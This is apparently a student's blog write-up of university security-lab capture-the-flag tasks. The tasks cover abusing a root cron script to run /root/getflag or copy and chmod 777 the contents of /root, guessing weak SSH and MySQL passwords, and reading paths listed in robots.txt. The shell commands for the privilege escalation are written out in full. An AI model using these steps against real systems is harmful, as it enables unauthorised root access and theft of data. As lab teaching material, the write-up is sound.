信息系统安全实验——Week 5
Posted Coco_T_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了信息系统安全实验——Week 5相关的知识,希望对你有一定的参考价值。
T1.利用计划任务获取flag
题目描述
在操作机中通过ssh连接靶机,账号test、密码123,进行后续的操作。(靶机IP地址见题目中拓扑图)。
靶机环境中配置了一个仅有root运行权限的定时脚本writable.sh,脚本功能分析代码可得。
与此同时,靶机环境中/root文件下配置了一个可执行文件getflag,即/root/getflag,用以获取flag。
请分析并利用该定时任务,获取flag。
Keyword:shell脚本执行方式,输出重定向
网络拓扑图如下:
SSH口令远程登录
口令登录非常简单,只需要一条命令,命令格式为: ssh 客户端用户名@服务器ip地址 eg:
ssh test@192.168.0.1
之后按照提示输入密码,即可成功登陆主机
题目设置定时任务,定时执行/home/test/test/writable.sh脚本:
#!/bin/sh
for i in /home/test/test/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
可以看到,该脚本去执行/home/test/test目录下的程序
且每隔五秒钟就会删除该目录下的文件
简单尝试一下之后,我们就可以知道靶机上的文件结构如下
- home
- test
- test
- writable.sh
- test
我们尝试直接运行getflag文件,可以发现Permission Deny
实际上,root文件夹只用root权限才能操作,作为区区test用户是完全接触不到ta的
但这启发我是不是可以直接利用writable.sh去修改root文件夹的权限呢?
这个脑洞我们按下不表,先来看看中规中矩的做法:利用这个writable.sh的root权限运行getflag,进而获取flag
我们可以是写一个获取flag的脚本放进/home/test/test文件夹里
将执行结果重定向到/tmp文件
新建一个tmp文件夹
- home
- test
- test
- writable.sh
- tmp
- test
cd /home/test/tmp
vi hack
/root/getflag > /home/test/tmp/ans
chmod 755 hack
cp hack /home/test/test
cat /home/test/tmp/ans
峰猪说他用的是另外一种方法
# 在用户自己的目录下新建一个脚本
cd
vi ./a.sh
# 脚本内容就是将root下面的所有内容拷贝下来,并且修改权限
# 脚本运行的时候会检测第一行
#如果是#!就会使用你规定的那个sh
#!/bin/sh
cp /root/* /home/test
chmod 777 /home/test/*
cp a.sh /home/test/test
# 这里直接运行~/getflag会显示乱码
# 所以直接进行代码审计,发现flag存放在flag.txt文件中
# root文件夹下除了getflag,一共有三个文件
# 直接输出flag.txt
cat flag.txt
T2.dom型xss攻击
题目描述
浏览器进入靶机IP地址首页,根据网页提示找出flag!
提示,根据此漏洞可以得到ssh登录的用户名,密码也是和用户名相关的弱密码。
网络拓扑图如下:
习惯性查看网页源码,就可以直接发现用户名
直接使用admin用户名远程登陆靶机
题目说 " 密码也是和用户名相关的弱密码 ",那你们猜猜我输入了什么
找到flag.txt输出即可
后记
信息系统安全实验——Week 3的入土初体验
T1.弱密码
题目描述
弱口令没有严格和准确的定义,通常认为容易被别人猜测到或被破解工具破解的口令均为弱 口令。
弱密码漏洞,即由于MySQL 数据库root账户的密码设置简单,为弱密码,很容易爆破成功。
MySQL数据库的登录密码是典型的弱密码,并且有远程登录的权限,攻击者可以通过 sqlmap
等工具破解出弱密码,登录数据库并且获取数据库当中的随机flag。
tips:注意sqlru库
留心这个网络拓扑图!有重要作用!
第一次接触实验平台,尬了很长时间蚌埠住询问了学姐
学姐说:没有给你靶机吗?虚拟环境生成的时候有一个网络拓扑图啊。。。
我才恍然大悟为什么题目上强调了 " 远程登录的权限 "
首先我们要了解一点点MySQL数据库的基本命令
- 显示数据库
show databases; - 选择数据库
use 数据库名; - 显示数据库中的表
show tables; - 显示数据表的结构
describe 表名; - 显示表中记录
SELECT * FROM 表名; - 建库
create databse 库名; - 本地登录MySQL数据库
mysql -uroot -p输入root密码进去即可查看。 - 指定IP地址和端口号远程登录MySQL数据库
命令格式为:mysql -h ip -u root -p -P 3306
例如:mysql -h 1.1.100.3 -u root -p -P 3306
MySQL默认端口号为3306
我们来直接尝试一下接入靶机的MySQL数据库
我就试了一下123456没想到就成功了,不愧是弱口令
让我们看看里面有哪些数据库
根据提示进入sqlru库中寻找flag
显示一下sqlru库中users表的内容,问题就迎刃而解啦~
T2.robots协议
题目描述
robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
这道题很简单,主要考查对robots协议的理解。如果你真的理解了robots协议,那么你就可以轻松的找到flag。
留心网络拓扑图,确认靶机IP
robots.txt是一个纯文本文件,在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。
注意题目中的描述:
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围
仔细思考一下你就知道该怎么做了
打开浏览器输入靶机IP查看一下内容,没看出什么端倪
看一下robots.txt文件呢?
这不是已经把需要查看的文件拍在我们脸上了吗,输入浏览器地址栏查看即可
一开始我还傻傻地在本机上查找/admin/key.php文件
重新仔细阅读了robots文件的定义,才豁然开朗
任何一个网页都可以视作一个 " 文件夹 "
robots文件里面给出的是允许用户端访问的 " 文件夹 "内容
以上是关于信息系统安全实验——Week 5的主要内容,如果未能解决你的问题,请参考以下文章
20155229 《信息安全系统设计基础》 week10 课上测试ch06